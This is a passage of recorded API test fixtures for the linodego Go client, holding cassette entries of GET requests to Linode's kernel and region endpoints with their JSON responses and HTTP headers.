"kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestCache_RegionList.yaml000066400000000000000000000700611455402072200314450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 